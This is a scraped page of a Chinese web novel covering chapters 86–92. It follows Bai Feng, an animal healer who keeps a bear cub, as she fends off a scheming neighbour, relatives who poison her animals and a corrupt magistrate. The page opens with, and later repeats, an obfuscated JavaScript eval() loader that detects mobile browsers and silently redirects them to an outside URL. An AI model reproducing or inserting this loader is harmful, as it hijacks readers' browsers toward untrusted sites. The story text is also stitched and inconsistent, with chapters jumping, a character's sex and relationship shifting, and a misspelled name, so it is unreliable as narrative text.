;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210896|197022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钱,是不是你帮着藏起来的?” 王婆子气得说不出话来。 里正咳嗽一声,“行了,都别吵了。白凤,你养熊的事,我会再考虑考虑。但你得保证,不能让它伤人。” “我保证。”白凤点头。 里正带着人走了,王婆子临走时还狠狠瞪了白凤一眼。 当天晚上,王婆子越想越气。 她儿子也是个不成器的,听了她的话,决定给白凤一个教训。 “娘,你放心,我今晚就去把那熊崽偷出来,卖到外地去。” “好!就这么办!”王婆子拍手,“让那贱丫头也尝尝失去东西的滋味!” 半夜时分,王婆子的儿子摸到了白凤家。 他翻墙进了院子,蹑手蹑脚地往黑子的窝走去。黑子正睡得香,听到动静,迷迷糊糊地睁开眼睛。 “小畜生,跟我走吧。”王婆子的儿子伸手去抓黑子。 黑子猛地清醒过来,张嘴就咬。 “啊——!” 惨叫声划破夜空。王婆子的儿子捂着手,鲜血直流。黑子死死咬住不放,大黄狗也冲了出来,对着他狂吠。 白凤听到动静,提着棍子跑了出来。 “黑子,松口。” 黑子这才松开嘴,王婆子的儿子捂着手,疼得直哆嗦。白凤看了一眼他的伤口,冷笑。 “偷东西偷到我头上来了?胆子不小。” “我、我没偷…”王婆子的儿子强辩。 “没偷?那你半夜翻墙进来干什么?”白凤一棍子敲在他腿上,“滚回去告诉王婆子,下次再敢来,就不是咬一口这么简单了。” 王婆子的儿子连滚带爬地跑了。 --- 第二天,王婆子就找上门来了。 她带着儿子,儿子的手上缠着厚厚的绷带,脸色苍白。 “白凤!你养的畜生咬了我儿子,你必须赔钱!”王婆子指着白凤大骂。 白凤靠在门框上,慢悠悠地说,“你儿子半夜翻墙进我家,想偷黑子。被咬是活该。” “胡说!我儿子怎么可能偷东西!”王婆子矢口否认。 “是不是偷,你儿子自己清楚。”白凤冷笑,“要不要我去报官,让官府来查?” 第87章 我倒想听听 王婆子噎住了。她儿子确实是去偷熊崽的,这要是报了官,吃亏的是她们。 “你、你…”王婆子气得说不出话来。 “行了,别在我家门口闹了。”白凤不耐烦地挥挥手,“再闹我就放黑子出来了。” 王婆子吓得往后退,拉着儿子就走。但她心里憋着一股气,发誓一定要让白凤好看。 王婆子又去找了舅妈。 “你看看,那贱丫头养的熊把我儿子咬成这样!”王婆子哭天抢地,“这要是不管,以后镇上还有安宁日子过吗?” 舅妈也头疼得很。她本来就怕白凤,现在白凤还养了熊,更是不敢招惹。 “这、这怎么办?”舅妈犹豫道。 “还能怎么办?必须把她赶出镇子!”王婆子咬牙切齿,“咱们去找里正,让他做主。这次一定要把那贱丫头赶走!” 沈冬梅也在一旁煽风点火,“对,必须赶走她。不然以后镇上出了事,谁负责?” 几个人又去找了里正。 里正听了她们的话,也觉得为难。白凤养熊确实不妥,但要赶她走,也得有个正当理由。 “这样吧,我再去跟白凤谈谈。”里正说。 “谈什么谈!”王婆子急了,“我儿子都被咬成这样了,还谈什么?” 就在这时,门外传来一个声音。 “谈什么?我倒想听听。” 众人回头一看,白凤的舅舅站在门口,脸色阴沉。 舅舅风尘仆仆,显然是刚从外地赶回来。 他进了屋,目光扫过在场的人,最后落在舅妈身上,“我才走了两个月,家里就闹成这样?” 舅妈心虚地低下头,不敢说话。 王婆子却不管那么多,上前就开始告状,“你可算回来了!你外甥女养了熊,把我儿子咬伤了。你说这事该怎么办?” 舅舅看了一眼王婆子儿子手上的伤,又看向里正,“到底怎么回事?” 里正把事情经过说了一遍。舅舅听完,脸色更沉了。 “所以,是你儿子半夜翻墙进白凤家,想偷她养的熊崽,结果被咬了?” “我、我儿子没偷东西!”王婆子嘴硬。 “没偷?那半夜翻墙进人家院子干什么?”舅舅冷笑,“王婆子,你当我是傻子?” 王婆子被噎得说不出话来。 舅舅转向舅妈和沈冬梅,“你们两个,又在背后搞什么鬼?” 舅妈支支吾吾,“我、我没有…” “没有?”舅舅拍了一下桌子,“我不在家这段时间,你们做了什么,以为我不知道?” 沈冬梅脸色发白,想说什么,却被舅舅一个眼神瞪了回去。 里正见气氛不对,连忙打圆场,“都是一家人,有话好好说。” “一家人?”舅舅冷笑,“我看有些人,早就不把白凤当一家人了。” 他站起身,看向王婆子,“你儿子的伤,是他自己活该。要是再敢去白凤家**,别怪我不客气。” 王婆子被他的气势震住,不敢再说话。 舅舅又看向里正,“里正,白凤养熊的事,我会管着。只要不出事,就让她养着吧。” 里正点点头,“那行,就这么定了。” 舅舅离开里正家,直接去了白凤那里。 白凤正在院子里给黑子洗澡。小熊崽在木盆里扑腾,溅得到处都是水。大黄狗在一旁看热闹,不时叫两声。 “舅舅。”白凤看到他,有些意外。 舅舅走进院子,打量着黑子,“就是这小家伙?” “嗯。”白凤点头,“它叫黑子,很乖的。” 黑子似乎感觉到舅舅没有恶意,摇摇晃晃地走过来,用湿漉漉的爪子拍了拍他的鞋子。 舅舅蹲下身,摸了摸它的脑袋,“确实挺可爱。” “舅舅,你怎么回来了?”白凤问。 “听说家里出了事,就赶回来了。”舅舅站起身,看着白凤,“你养熊的事,我不反对。但你得答应我,一定要看好它,别让它伤人。” “我会的。”白凤认真地说。 舅舅叹了口气,“你舅妈和你表姨,这段时间是不是又为难你了?” 白凤沉默了一会儿,摇摇头,“没什么。” “你不用替她们遮掩。”舅舅苦笑,“我知道她们什么德行。这次我回来,会好好管管她们。” “舅舅,你对我已经够好了。”白凤轻声说,“要不是你,我早就被赶出镇子了。” 舅舅拍拍她的肩膀,“你是我外甥女,我不帮你帮谁?再说了,你现在有本事了,能自己养活自己,我也放心。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她的名声渐渐在郡城传开了。不少药铺都想和她合作,出的价钱一个比一个高。 白凤赚的银子越来越多,日子也越过越好。 第88章 非要找人救 白凤这个名字,如今在镇上已经无人不知。 起因是三天前,李家大娘那条养了十年的老狗突然不吃不喝,眼看着就要不行了。李家几个儿子都说算了,一条狗而已,死了就死了。大娘不干,抱着狗哭得撕心裂肺,非要找人救。 镇上的郎中都说狗病他们不会看,大娘急得团团转,最后还是邻居提了一句:“去找白凤试试?” 白凤接诊的时候,那狗已经奄奄一息。她蹲在地上仔细检查,手指按压狗的腹部,狗疼得呜咽了一声。 “肠梗阻,吃了什么不该吃的东西。”白凤站起身,“我试试,不保证能活。” 李家大娘连连点头:“你尽管试,死了我也认命。” 白凤让豆豆去烧热水,自己从药箱里翻出几根银针。豆豆端着热水盆跑回来的时候,正看见白凤把针扎进狗的腹部。那狗抽搐了几下,突然张嘴吐出一团黑乎乎的东西。 “成了。”白凤收起针,“回去喂点米汤,别喂太饱。” 第二天,李家大娘就抱着一篮子鸡蛋来道谢,逢人就说白凤的医术。消息传开,陆陆续续有人牵着牛、抱着鸡、背着猪崽子来求医。 白凤来者不拒,治好的多,治不好的也不收钱。一来二去,名声就打出去了。 豆豆最高兴。以前家里穷得叮当响,现在虽然还算不上富裕,但至少能吃饱饭,还能偶尔买块糖吃。小姑娘整天乐呵呵的,干活也更卖力了。 这天傍晚,白凤正在院子里给一只兔子包扎伤口,豆豆突然跑进来:“姐姐,外面有人找你。” “谁?” “说是你舅舅家的表妹。” 白凤手上动作顿了顿,继续给兔子上药:“让她进来。” 沈冬梅踩着碎步走进院子,鼻子先皱了皱:“这什么味道,臭死了。” 白凤头也不抬:“动物身上的味道,嫌臭就别进来。” “我…”沈冬梅噎了一下,换上笑脸,“表姐,好久不见。” “有事?” “也没什么大事。”沈冬梅眼珠转了转,“就是听说表姐现在发达了,给畜生看病都能赚大钱,我就想着来看看。” 白凤放下兔子,拍拍手上的药粉:“看也看了,可以走了。” “哎,表姐别这么冷淡嘛。”沈冬梅往前凑了凑,“咱们好歹是亲戚,以前的事都过去了,你就别记仇了。” “过去了?”白凤抬眼看她,“你把我娘的嫁妆占了,把我赶出家门,现在说过去了?” 沈冬梅脸色变了变:“那不是我爹做的决定吗,我一个姑娘家能做什么主?” “所以你是来还嫁妆的?” “这…”沈冬梅支吾起来,“表姐,那些东西都用了这么多年了,哪还找得回来。要不这样,我给你赔点银子?” 白凤笑了:“你哪来的银子?” 沈冬梅被问住了,脸涨得通红。她咬咬牙,突然跪了下来:“表姐,我实话跟你说吧,我爹让我来给你赔罪的。他说以前是他糊涂,对不住你,让我来求你原谅。” “原谅?”白凤看着她,“你舅舅什么时候这么好心了?” “真的,我爹他…” “行了。”白凤打断她,“回去告诉你爹,我和你们家没什么好说的。以后别来烦我。” 沈冬梅还想说什么,院子外面突然传来一阵骚动。豆豆跑出去看了看,慌慌张张跑回来:“姐姐,不好了,有人说咱们家的鸡死了好几只!” 白凤脸色一变,快步走出院子。 后院养着十几只鸡,是附近几户人家寄养在这里的。此刻有三只鸡躺在地上,脖子耷拉着,明显已经死了。 “怎么回事?”白凤蹲下检查。 豆豆急得快哭了:“我也不知道啊,刚才还好好的,我去烧水的功夫就…” 白凤掰开鸡嘴,闻了闻,脸色沉了下来:“有毒。” “毒?”豆豆吓了一跳。 白凤站起身,目光扫向院子里的其他动物。那只刚包扎好的兔子也倒在笼子里,抽搐不止。 “豆豆,去把所有动物的食盆都收起来。”白凤快速吩咐,“别让它们再吃东西。” 豆豆手忙脚乱地去收拾,白凤转身回到前院。沈冬梅还站在那里,脸上的表情有些不自然。 “是你下的毒?”白凤直接问。 “什么毒?我听不懂。”沈冬梅往后退了一步。 白凤盯着她看了几秒,突然大步上前,一把抓住她的手腕。沈冬梅惊叫一声,想要挣脱,却被白凤死死按住。 “放开我!” 白凤掰开她的手,手心里躺着一个小纸包,已经空了。 “这是什么?” “我不知道,我…”沈冬梅脸色煞白。 白凤把纸包凑到鼻子前闻了闻,冷笑一声:“砒霜。你胆子不小。” “不是我!是我娘让我…”沈冬梅话说到一半,突然捂住嘴。 “你娘?”白凤松开她,“所以你们一家人商量好了,让你来下毒?” 沈冬梅不说话了,低着头发抖。 “为什么?”白凤问,“我碍着你们什么了?” “我娘说…”沈冬梅声音很小,“说你现在赚钱了,以后肯定要回来要嫁妆,要房子。我爹怕你闹起来,就…” “所以就想毒死我养的动物,毁了我的名声?”白凤气笑了,“你们倒是想得周到。” 沈冬梅哭了起来:“表姐,我也是被逼的,我不想这么做…” “闭嘴。”白凤打断她,“豆豆,去叫里正来。” “别!”沈冬梅扑过来抱住白凤的腿,“表姐,求你了,别报官。我爹要是知道了会打死我的。” 白凤甩开她:“那是你活该。” 里正来得很快,听完事情经过,脸色也沉了下来:“这事可不小,投毒害命,得报官。” “里正,您行行好。”沈冬梅跪在地上磕头,“我真的知道错了。” 里正看向白凤:“你怎么” 白凤想了想:“我要他们一家人都来,当着全镇人的面认错。” “就这样?”里正有些意外。 “就这样。”白凤说,“但是从今以后,他们不许再踏进我家半步。” 里正点点头:“行,我这就去叫人。” 消息传得很快,不到半个时辰,白凤的舅舅舅母就带着一家人赶来了。舅母一进门就开始哭:“凤丫头,都是我不好,我一时糊涂…” “别演了。”白凤冷冷地说,“当着大家的面说清楚,到底是谁的主意。” 舅母哭声一顿,偷偷看了舅舅一眼。 舅舅咳了一声:“凤丫头,这事确实是我们不对。但你也要体谅,你现在有出息了,我们怕你…” “怕我要回属于我的东西?”白凤接话,“所以就想毁了我?” “不是,我们没想毁你。”舅舅辩解,“就是想给你个教训,让你别太嚣张。” 围观的人群里传来窃窃私语声。 “这也太狠了。” “就是,人家孤儿寡母的,容易吗。” “沈家这是嫉妒人家过得好。” 第89章 断绝关系? 舅舅脸色涨红,想要解释,却不知道说什么好。 白凤环视一圈:“今天当着大家的面,我把话说清楚。我娘的嫁妆,我爹留下的房子,我迟早要拿回来。谁要是再敢动歪心思,别怪我不客气。” “你…”舅舅气得发抖,“你这是要和我们断绝关系?” “早就断了。”白凤说,“从你们把我赶出家门那天起。” 舅母突然尖叫起来:“你个白眼狼!我们养了你这么多年,你就这么对我们?” “养?”白凤笑了,“你们哪天给我吃过一顿饱饭?我在你们家干了多少活,你们心里没数?” 舅母还想骂,被里正喝止:“够了!沈家,你们今天必须给个说法。” 舅舅看看周围的人,知道今天这事躲不过去了,只能硬着头皮说:“是我们不对,我们给凤丫头赔罪。” “跪下。”白凤说。 “什么?”舅舅以为自己听错了。 “我说,跪下。”白凤重复,“给我娘的牌位磕头认错。” 舅舅脸色铁青:“你别太过分!” “过分?”白凤冷笑,“你们投毒的时候怎么不觉得过分?” 里正也开口了:“沈老三,你要是不愿意,那就去县衙说理。” 舅舅僵在那里,最后还是咬牙跪了下来。舅母和沈冬梅也跟着跪下,一家人对着白凤娘的牌位磕了三个头。 “滚吧。”白凤说,“以后别让我再看见你们。” 沈家人灰溜溜地走了,围观的人也渐渐散去。豆豆跑过来抱住白凤:“姐姐,你好厉害。” 白凤摸摸她的头,没说话。她转身去看那些中毒的动物,心里却在盘算另一件事。 沈家这次虽然认了错,但以舅舅的性格,肯定不会善罢甘休。她得想办法保护好自己,还有这些动物。 夜里,白凤躺在床上翻来覆去睡不着。豆豆已经睡熟了,发出均匀的呼吸声。 窗外突然传来窸窸窣窣的声音,白凤警觉地坐起来,摸到枕头下的匕首。 声音越来越近,最后停在窗外。白凤屏住呼吸,握紧匕首。 “是我。”一个低沉的男声响起。 白凤愣了一下,认出是谁:“你来干什么?” “开门。” 白凤犹豫了一下,还是起身去开了门。门外站着一个高大的身影,正是前几天来求医的百夫长。 “这么晚了,有事?”白凤问。 “听说你家出事了。”百夫长说,“我来看看。” “已经解决了。” “我知道。”百夫长顿了顿,“但我觉得事情没这么简单。” 白凤看着他,没说话。 “你得罪的人,不会就这么算了。”百夫长说,“我在军中见过太多这种事。你要小心。” “多谢提醒。”白凤说,“不过我自己能应付。” 百夫长笑了:“我相信你能应付。但多个朋友总不是坏事。” 他从怀里掏出一块令牌:“拿着,要是有人找你麻烦,就拿这个去军营找我。” 白凤接过令牌,上面刻着一个“尉”字。 “你姓尉?” “尉迟深。”百夫长说,“记住这个名字,以后用得着。” 说完,他转身消失在夜色中。 白凤握着令牌站了一会儿,最后还是收了起来。她不知道这个尉迟深为什么要帮自己,但眼下确实需要一个靠山。 第二天一早,白凤照常起来喂动物。院子里的鸡鸭都活蹦乱跳的,昨天中毒的那只兔子也恢复了精神。 豆豆端着饭碗蹲在门槛上吃,突然抬头说:“姐姐,你说沈家会不会再来找麻烦?” “会。”白凤很肯定。 “那怎么办?” “兵来将挡。”白凤说,“别怕,天塌不下来。” 话音刚落,外面就传来一阵嘈杂的声音。豆豆跑出去看,脸色大变地跑回来:“姐姐,来了好多官兵!” 白凤走到门口,就看见十几个衙役堵在门外,为首的师爷摇着折扇,脸上挂着公式化的笑容。 “白凤,县太爷有请。” “什么事?”白凤问。 师爷收起扇子,从袖子里掏出一张纸:“有人举报你私藏禁药,贩卖毒物。跟我们走一趟吧。” “谁举报的?” “这个嘛…”师爷笑得意味深长,“到了县衙自然知道。” 白凤心里明白,肯定是沈家搞的鬼。她正要说话,豆豆突然冲出来挡在她面前:“我姐姐没有做坏事!你们不能抓她!” “小丫头,让开。”师爷脸色一沉,“妨碍公务,连你一起抓。” 两个衙役上前要拉豆豆,白凤拦住:“我跟你们走,别动她。” “姐姐!”豆豆哭了起来。 “乖,在家等我。”白凤摸摸她的头,转身对师爷说,“走吧。” 师爷满意地点点头,挥手让人把白凤带走。临走前,他扫了一眼院子里的动物:“把这些畜生也带走,都是证物。” “不行!”白凤急了,“它们和这事没关系。” “有没有关系,县太爷说了算。”师爷冷笑,“都给我抓起来。” 衙役们冲进院子,七手八脚地抓鸡捉鸭。那些动物受了惊,四处乱窜,院子里一片混乱。 白凤看着这一幕,攥紧了拳头。她知道这是沈家的报复,但没想到他们会动用官府的力量。 县衙大堂上,县太爷高坐在上面,沈家舅舅跪在一旁,正在添油加醋地说着什么。 “大人明鉴,这白凤心术不正,专门用毒药害人。我家的鸡鸭都被她毒死了好几只。” “哦?”县太爷捋着胡子,“可有证据?” “有有有。”舅舅从怀里掏出那个纸包,“这就是她用的毒药,砒霜!” 白凤冷笑:“这明明是你女儿带来的。” “你胡说!”舅舅跳起来,“分明是你栽赃陷害!” “够了。”县太爷敲了敲惊堂木,“白凤,你可认罪?” “我没罪可认。” “嘴硬。”县太爷眯起眼睛,“来人,给我搜她的住处,看看还有没有其他毒药。” 白凤心里一沉,她确实有些药材,虽然不是毒药,但要是被有心人做文章,也能说成是毒药。 “大人,我那些都是治病救人的药材。” “是不是毒药,本官自有判断。”县太爷挥挥手,“带下去,等搜查结果。” 白凤被关进了县衙的牢房,和她一起关着的,还有从家里抓来的那些动物。它们被关在笼子里,挤在一起,发出惊恐的叫声。 白凤蹲在笼子前,轻声安抚它们。一只老母鸡伸出头来蹭她的手,眼睛里满是信任。 “对不起。”白凤低声说,“是我连累你们了。” 牢房外面传来脚步声,师爷走了进来,手里拿着一个托盘,上面放着几样药材。 “白凤,这些东西你认识吗?” 白凤看了一眼:“附子、乌头、半夏,都是常用药材。” “常用?”师爷冷笑,“这些可都是剧毒之物。你私藏这么多毒药,还说自己没罪?” “这些药材用得好能救人,用得不好才会害人。”白凤说,“你要是懂医,就该知道这个道理。” “我不懂医,但我知道律法。”师爷收起东西,“私藏毒药,罪加一等。你就等着吧。” 他走后,牢房里陷入沉默。白凤靠着墙坐下,脑子里飞快地转着。 沈家这次是铁了心要整死她,连县太爷都买通了。她一个弱女子,拿什么和他们斗? 第90章 让开!我要见县太爷! 想到这里,白凤摸了摸怀里的令牌。尉迟深说过,有事可以去找他。但她不想欠人情,更不想把别人拖下水。 正想着,外面突然传来一阵骚动。 “让开!我要见县太爷!” “你是什么人?这里是县衙,不是你撒野的地方!” “我是军中百夫长,有要事禀报!” 白凤心里一动,这声音是尉迟深。 很快,牢房外面就安静了下来。过了一会儿,师爷又来了,脸色很难看。 “白凤,你走运了。”他咬牙切齿地说,“有人保你。” “谁?” “你自己出去看。” 牢门打开,白凤走出去,就看见尉迟深站在大堂上,身后还跟着几个士兵。 县太爷坐在上面,脸色阴晴不定:“尉百夫长,你确定要保这个女人?” “确定。”尉迟深说,“白凤是我军中兄弟的救命恩人,她要是有罪,我第一个不信。” “可是证据确凿…” “什么证据?”尉迟深打断他,“几样药材就能定罪?那天下的郎中都该抓起来。” 县太爷被噎住了,半天说不出话。 师爷在旁边小声说:“大人,这尉百夫长不好惹,要不…” “闭嘴!”县太爷瞪了他一眼,转向尉迟深,“既然尉百夫长为她担保,那本官就给个面子。白凤,你可以走了。” “多谢大人。”白凤行了一礼。 “慢着。”县太爷突然说,“你那些动物,得留下。” “为什么?” “它们也是证物,得等案子查清楚才能放。”县太爷说得冠冕堂皇。 白凤正要争辩,尉迟深开口了:“大人,这些动物和案子有什么关系?” “这个…”县太爷支吾起来。 “既然没关系,那就一起放了吧。”尉迟深语气平淡,但透着不容置疑的威严。 县太爷脸色变了几变,最后还是点了头:“来人,把那些畜生也放了。” 走出县衙,白凤长出一口气。那些动物被放出来,在她脚边转来转去,叽叽喳喳地叫个不停。 “多谢。”白凤对尉迟深说。 “不用谢。”尉迟深说,“我只是还你一个人情。” “你怎么知道我出事了?” “我在镇上有眼线。”尉迟深说,“你得罪的人不简单,背后有人撑腰。” “我知道。”白凤说,“是县太爷。” “不止。”尉迟深看着她,“县太爷背后还有人。你要小心。” 白凤心里一沉:“你知道是谁?” “暂时不知道。”尉迟深说,“但我会查。这几天你最好别出门,有事就去军营找我。” 说完,他转身要走。 “等等。”白凤叫住他,“你为什么要帮我?” 尉迟深回头,看着她的眼睛:“因为你救了我兄弟的妻子。在军中,兄弟的命比自己的命还重要。” 他顿了顿,又说:“还有,我不喜欢看人被冤枉。” 说完,他大步离开了。 白凤站在原地,看着他的背影消失在街角。她低头看看手里的动物,突然笑了。 “走,咱们回家。” 回到家,豆豆正在院子里哭,看见白凤回来,立刻扑过来抱住她:“姐姐!我还以为你回不来了!” “傻丫头。”白凤拍拍她的背,“我不会有事的。” “那些坏人太可恶了!”豆豆抹着眼泪,“他们为什么要害你?” “因为他们怕我。”白凤说,“怕我过得比他们好。” “那怎么办?他们还会来吗?” “会。”白凤说,“但下次我不会再让他们得逞。” 接下来几天,白凤一直待在家里,哪儿也不去。她把院子里的动物重新安置好,又检查了一遍所有的药材。 第三天傍晚,豆豆突然跑进来:“姐姐,外面有人找你。” “谁?” “一个很漂亮的夫人,说是来道谢的。” 白凤走出去,看见一个穿着华贵的妇人站在门口,身后跟着两个丫鬟。 “您是…” “我是李百夫长的妻子。”妇人微笑着说,“多亏了白姑娘的药,我才能保住这条命。今天特地来道谢。” “举手之劳,不必客气。” “白姑娘太谦虚了。”妇人说,“我听说你最近遇到了麻烦,特地来看看能不能帮上忙。” 白凤心里一暖:“多谢夫人关心,不过事情已经解决了。” “那就好。”妇人从丫鬟手里接过一个包袱,“这是一点心意,请白姑娘收下。” 白凤打开包袱,里面是一些布料和银子。她正要推辞,妇人已经说:“白姑娘别拒绝,这是我的一点心意。而且…” 她压低声音:“我听说县太爷最近盯上了你,你要多加小心。他这个人贪得无厌,看上的东西一定要弄到手。” 白凤心里一紧:“多谢夫人提醒。” “不客气。”妇人说,“要是有什么需要帮忙的,尽管去军营找我家那口子。” 送走妇人,白凤站在门口想了很久。县太爷为什么要针对她?就因为沈家的那点银子? 不对,肯定还有别的原因。 当天夜里,白凤躺在床上翻来覆去睡不着。突然,院子里传来一阵异响。 她立刻坐起来,摸到枕头下的匕首,轻手轻脚地走到窗边。 月光下,一个黑影正在院子里翻找着什么。白凤屏住呼吸,握紧匕首,等那人靠近。 黑影翻了一会儿,突然直起身子,往房间这边走来。白凤躲在门后,等他推门进来的瞬间,一刀刺了过去。 黑影反应很快,侧身躲开,反手抓住白凤的手腕。两人在黑暗中扭打起来,最后白凤被压在墙上,匕首也掉在了地上。 “是我。”一个熟悉的声音响起。 白凤愣住:“尉迟深?” “嗯。”尉迟深松开她,捡起地上的匕首,“反应不错。” “你大半夜来干什么?”白凤揉着手腕,“吓死人了。” “来告诉你一件事。”尉迟深说,“县太爷盯上你,不是因为沈家。” “那是为什么?” “因为你手里有好东西。”尉迟深说,“他听说你能找到稀有药材,想让你给他找几样东西。” 白凤皱眉:“什么东西?” “延年益寿的药。”尉迟深冷笑,“他想长生不老。” 白凤哭笑不得:“这世上哪有什么长生不老的药?” “我知道,但他不知道。”尉迟深说,“他已经派人去查你的底细了,估计很快就会来找你。” “那怎么办?” 第91章 您可真是活菩萨! 白凤这几日在村里的名声越来越好。 自从上次救了李家小子的腿,又帮张婶子治好了多年的腰疾,村里人见了她都笑脸相迎。就连平日里最抠门的刘老汉,都主动送来两筐新鲜的萝卜,说是自家地里种的,让她尝尝鲜。 “白大夫,您可真是活菩萨!” “我家那口子的咳嗽都好了,这可多亏了您!” 这些话听得白凤耳朵都快起茧子了。她倒不是矫情,只是觉得治病救人本就是应该的,用不着这么大张旗鼓。 可偏偏就有人看不惯。 这天一大早,白凤刚起床,院门就被人拍得震天响。豆豆吓得躲到她身后,小手紧紧攥着她的衣角。 “开门!白凤你给我滚出来!” 是王婆子的声音。 白凤皱眉,这老太婆又来闹什么幺蛾子?她拉开门栓,还没来得及说话,王婆子就冲进来,一把揪住她的衣领。 “你个杀千刀的!我两个女儿都死了,都是你害的!” 白凤被她扯得往后退了两步,稳住身形后冷声道:“王婆子,你说话要讲证据。” “证据?我女儿好好的去找你看病,结果人没了,这还不是证据?”王婆子涕泗横流,鼻涕眼泪糊了一脸,“你就是个庸医!害人精!” 周围渐渐围上来不少村民。 白凤扫了一眼,发现人群里有几个平日里和王婆子走得近的妇人,此刻正交头接耳,眼神闪烁。 “你大女儿是难产,我去的时候已经血崩,根本救不回来。”白凤一字一句说得清楚,“你二女儿是吃错了东西中毒,送来的时候已经没了呼吸,我连银针都没来得及下。” “放屁!”王婆子一屁股坐在地上,开始撒泼打滚,“我不管!反正她们都是去找你看病才没的!你得赔命!” 白凤气笑了。 这老太婆分明是来讹人的。她大女儿难产那次,自己明明提前三天就说过胎位不正,让她早做准备,结果王婆子舍不得花钱请稳婆,非要自己在家生,等出了事才想起来找大夫。二女儿更离谱,听说是偷吃了婆家的毒蘑菇,送来的时候人都凉透了。 “王婆子,你这是讹人。”白凤冷着脸,“我行医这么久,每个病人的情况都有记录。你女儿的病情,我可以当着全村人的面说清楚。” “我不听!我不听!”王婆子开始嚎啕大哭,“我可怜的女儿啊!你们死得好惨啊!” 人群里开始有窃窃私语的声音。 “王婆子这是不讲理了吧?” “可人家确实死了两个女儿,换谁都受不了。” “但这也不能怪白大夫啊,我听说她大女儿那次是真的没救了。” 白凤正要再说什么,一道清冷的声音从人群外传来。 “让开。” 人群自动分开一条路,尉迟深大步走了进来。他今天穿着一身玄色长袍,腰间佩着玉佩,整个人透着一股子不怒自威的气势。 王婆子看到他,哭声顿时小了几分。 尉迟深扫了她一眼,转头看向白凤:“怎么回事?” 白凤简单说了一遍。尉迟深听完,脸色更冷了几分。 “王婆子,你大女儿难产那次,白凤提前三天就告诉过你胎位不正,让你做准备。这事儿李婶子和张婶子都在场,可以作证。”他顿了顿,“你二女儿中毒,是你儿媳妇亲口说的,她偷吃了婆家晒的毒蘑菇。这事儿你儿子都承认了,怎么现在反倒赖上白凤了?” 王婆子被他说得哑口无言,但还是梗着脖子道:“那、那也是她医术不精!要是医术好,怎么可能救不回来?” “照你这么说,大夫就得是神仙,包治百病,起死回生?”尉迟深冷笑一声,“你女儿的情况,就算是太医来了也救不回来。你现在这么闹,不过是想讹点银子罢了。” 人群里响起一阵附和声。 “就是就是,王婆子这是不讲理!” “白大夫医术好着呢,我家孩子的病就是她治好的!” 王婆子见势头不对,爬起来就要往外跑。尉迟深却叫住了她。 “站住。” 王婆子僵在原地。 “你今天这么闹,坏了白凤的名声,该当何罪?”尉迟深声音不高,却让人不寒而栗,“按律,诬告他人,杖责二十。你是想现在挨板子,还是当着全村人的面道歉?” 王婆子脸色煞白,扑通一声跪在地上。 “我、我错了!我一时糊涂!白大夫,您大人不记小人过,饶了我这次吧!” 白凤看着她,心里的气总算消了些。她本来不想把事情闹大,但王婆子这次实在太过分了。要不是尉迟深及时赶来,她今天这名声怕是要毁了。 “下不为例。”白凤淡淡道,“以后再敢胡说八道,我可不会这么轻易放过你。” 王婆子如蒙大赦,连滚带爬地跑了。 围观的村民也渐渐散去,临走前还不忘夸赞白凤几句。白凤谢过众人,转身看向尉迟深。 “多谢。” 尉迟深摇头:“举手之劳。” 他看了看院子里,豆豆正躲在门后偷偷往外瞧。尉迟深朝他招招手,豆豆犹豫了一下,小跑着过来。 “怕了?”尉迟深问。 豆豆点点头,又摇摇头。 “有点怕,但是娘在,我就不怕了。” 尉迟深难得露出一丝笑意,伸手揉了揉他的脑袋。 “好孩子。” 白凤看着这一幕,心里涌起一股暖意。这段时间相处下来,尉迟深对豆豆是真的好。豆豆原本怕生,现在见了尉迟深却格外亲近,有时候甚至比对她还黏糊。 “进屋说话吧。”白凤侧身让开路。 三人进了屋,白凤给尉迟深倒了杯茶。尉迟深接过,却没急着喝,而是看着她。 “最近村里的情况,你都了解吗?” 白凤一愣:“什么情况?” “边关那边出了点事。”尉迟深放下茶杯,神色凝重,“朝廷拨了一批赈灾粮,但听说有人在中间做手脚,想趁机发一笔横财。” 白凤心里一动。 赈灾粮这种事,历来是贪官污吏最喜欢下手的地方。一批粮食从京城运到边关,中间经手的人不知道有多少,每个人都克扣一点,到了灾民手里就所剩无几了。 “你打算怎么办?”白凤问。 “我已经派人去查了。”尉迟深道,“但这事儿牵扯的人太多,不是一时半会儿能查清的。” 白凤沉思片刻,突然问:“那批粮食现在在哪里?” “应该还在路上,估计再过十天半个月就能到边关。” “十天半个月…”白凤眼珠一转,“够了。” 尉迟深看出她有了主意,挑眉道:“你想做什么?” 第92章 我可以先赊账 白凤笑了:“既然有人想发国难财,那我就抢在他们前面,把这笔买卖做了。” 尉迟深愣了一下,随即明白过来。 白凤的意思是,趁着那批赈灾粮还没到,她先去边关收购粮食,然后高价卖给那些想囤积居奇的奸商。这样一来,既能让灾民及时吃上粮食,又能狠狠赚一笔,还能让那些贪官污吏的计划落空。 “你有这么多本钱?”尉迟深问。 白凤想了想,她这段时间行医攒了不少银子,但要做这么大的买卖,确实还差点。 “我可以先赊账。”白凮道,“边关那边的粮商我认识几个,应该能谈下来。” 尉迟深看着她,眼里闪过一丝赞赏。 “好,我帮你。” 白凤没想到他答应得这么爽快,愣了一下才道:“你帮我?” “嗯。”尉迟深点头,“我手里有些闲钱,正好可以投进去。而且这事儿做成了,对朝廷也有好处。” 白凤心里一暖。她知道尉迟深这是在帮她,但他说得这么冠冕堂皇,倒让她不好拒绝了。 “那就多谢了。”白凤道,“等赚了银子,我分你一半。” “不用。”尉迟深摆手,“就当是投资了。” 两人商量了一下具体的计划,决定明天就动身去边关。白凤让豆豆在家好好待着,尉迟深却说要带上他。 “边关那边不太平,你一个人带着孩子不安全。”尉迟深道,“我跟着,也好有个照应。” 